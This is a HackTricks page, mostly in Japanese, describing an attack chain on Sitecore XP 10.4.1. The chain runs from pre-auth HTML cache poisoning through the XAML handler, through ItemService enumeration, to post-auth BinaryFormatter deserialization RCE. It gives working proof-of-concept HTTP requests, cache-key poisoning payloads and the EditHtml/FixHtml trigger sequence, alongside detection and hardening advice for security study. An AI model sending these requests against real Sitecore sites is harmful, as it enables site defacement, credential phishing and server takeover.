Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 10 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページは、Sitecore XP 10.4.1 に対する実用的な攻撃チェーンを要約しており、pre‑auth XAML handler から HTML cache poisoning を経由し、authenticated UI フローを通じて BinaryFormatter deserialization による RCE へとピボットする攻撃を示します。これらの手法は類似の Sitecore バージョン/コンポーネントにも一般化でき、テスト、検出、および強化のための具体的なプリミティブを提供します。
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (June/July 2025)
参照:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Entrypoint is the pre‑auth XAML handler registered in web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
経由でアクセス可能:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
コントロールツリーには AjaxScriptManager が含まれており、イベントリクエスト時に attacker が制御するフィールドを読み取り、対象コントロールのメソッドをリフレクションを使って呼び出します:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
重要な点: XAMLページには XmlControl インスタンス (xmlcontrol:GlobalHeader) が含まれている。Sitecore.XmlControls.XmlControl は Sitecore.Web.UI.WebControl(Sitecore のクラス)を継承しており、ReflectionUtil.Filter の許可リスト (Sitecore.*) を通すため、Sitecore WebControl のメソッドが有効になる。
ポイズニング用の Magic メソッド:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
xmlcontrol:GlobalHeader をターゲットにし、Sitecore.Web.UI.WebControl のメソッドを名前で呼び出せるため、pre‑auth の任意の HtmlCache 書き込みプリミティブが得られます。
PoC request (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
注意事項:
- __SOURCE は Sitecore.Shell.Xaml.WebControl 内の xmlcontrol:GlobalHeader の clientID です(静的 XAML に由来するため、通常 ctl00_ctl00_ctl05_ctl03 のように安定しています)。
- __PARAMETERS の形式は Method("arg1","arg2") です。
何を poison するか: キャッシュキーの構築
Sitecore controls で使用される典型的な HtmlCache キーの構築:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
既知の sublayout に対する targeted poisoning の例:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
キャッシュ可能なアイテムと “vary by” 次元の列挙
ItemServiceが匿名で(誤って)公開されている場合、キャッシュ可能なコンポーネントを列挙して正確なキーを導出できます。
簡易プローブ:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
キャッシュ可能なアイテムとフラグの一覧:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate のようなフィールドを探してください。デバイス名は次の方法で列挙できます:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
ItemService が限定アカウント(例: ServicesAPI)を偽装して Results 配列を空で返しても、TotalCount は依然として pre‑ACL の Solr ヒットを反映することがあります。ワイルドカードを使って item groups/ids を brute‑force すると、TotalCount が収束して内部コンテンツやデバイスをマッピングしていく様子を確認できます:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
シンク:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
convertToRuntimeHtml pipeline step ConvertWebControls を経由してアクセス可能で、id {iframeId}_inner の要素を探し、それを base64 decodes + deserializes して得られた文字列を HTML に注入します:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
トリガー(認証済み、Content Editor 権限)。FixHtml ダイアログは convertToRuntimeHtml を呼び出します。UI クリックなしでのエンドツーエンド:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
ガジェット生成: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
完全なチェーン
- Pre‑auth の攻撃者が XAML AjaxScriptManager 経由で WebControl.AddToCache をリフレクション呼び出しして HtmlCache に任意の HTML を注入します。
- Poisoned HTML は JavaScript を配信し、認証済みの Content Editor ユーザーを FixHtml フローへ誘導します。
- FixHtml ページが convertToRuntimeHtml → ConvertWebControls をトリガーし、攻撃者制御の base64 を BinaryFormatter でデシリアライズして、Sitecore アプリプールのアイデンティティで RCE を引き起こします。
検出
- Pre‑auth XAML:
/-/xaml/Sitecore.Shell.Xaml.WebControlへのリクエストで__ISEVENT=1、疑わしい__SOURCEと__PARAMETERS=AddToCache(...)。 - ItemService probing:
/sitecore/api/sscのワイルドカードクエリの急増、Resultsが空でTotalCountが大きい。 - Deserialization attempts:
EditHtml.aspxの後にFixHtml.aspx?hdl=...、HTML フィールドに異常に大きな base64 が含まれる。
ハードニング
- Sitecore パッチ KB1003667 と KB1003734 を適用。pre‑auth XAML ハンドラを制御/無効化するか厳格な検証を追加。
/-/xaml/を監視しレート制限を行う。 - BinaryFormatter を削除または置換。convertToRuntimeHtml へのアクセスを制限するか、HTML 編集フローに対して強力なサーバー側検証を実施する。
/sitecore/api/sscを loopback または認証済みロールに限定。TotalCountベースのサイドチャネルを生むインパーソネーションパターンを避ける。- Content Editor ユーザーに対して MFA / 最小権限を強制。CSP を見直して cache poisoning による JS 操作の影響を低減する。
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks